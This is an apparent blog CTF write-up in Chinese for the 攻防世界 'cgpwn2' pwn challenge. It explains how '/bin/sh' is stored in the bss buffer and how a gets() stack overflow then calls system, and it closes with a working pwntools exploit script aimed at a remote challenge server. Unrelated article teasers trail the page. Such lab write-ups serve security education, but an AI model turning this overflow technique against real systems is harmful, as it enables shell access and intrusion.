cgpwn2攻防世界pwn

checksec后试运行,有两个输入


32位ida


点进去hello()




可以利用fgets和gets栈溢出

发现pwn函数里有system,参数不对,system在plt地址为0x08048420



shift+F12找字符串,这次就找不到binsh了,看来要想办法写进去


第一次输入的name在bss段,地址为0x0804A080



第二次输入时gets函数,在plt地址为0x080483F0


那我们就在第一次输入把/bin/sh用fgets写进去,第二次利用gets的栈溢出调用syste(/bin/sh)

写脚本

#coding=utf8
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',47419)

system_plt = 0x08048420
bss = 0x0804A080

p.recvuntil('name')
p.sendline("/bin/sh")
p.recvuntil('here:')

payload = ''
payload += 'A'*0x26
payload += p32(0)
payload += p32(system_plt)
payload += p32(0)
payload += p32(bss)

p.sendline(payload)
p.interactive()
成功
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 5,644评论 0 2
  • react-native 是facebook的一个跨平台方案。可以开发出同时运行在Android 和iOS平台的a...
    Leonhwaa阅读 5,078评论 2 10
  • 自从前几天“感冒君”慰问了我,在两个王子的精心照料下,“感冒君”一时感动,就离开了我。可是临走,还给我留下了一点纪...
    阳子驿站阅读 1,301评论 0 1
  • 西方人喜欢把“容易快乐”的性格当成上帝的礼物。我赞同这个形容。一个人智商也许很高,但容易恨,容易发怒,说不定比平静...
    鱼耗子阅读 1,112评论 0 0
  • 2017年4月13日 晴 七月仲夏夜 秘密顺着耳朵流到心脏 不经意总在寻找借口 如果是我能否打开一扇窗 用一个完美...
    鲜栗子阅读 789评论 0 0

友情链接更多精彩内容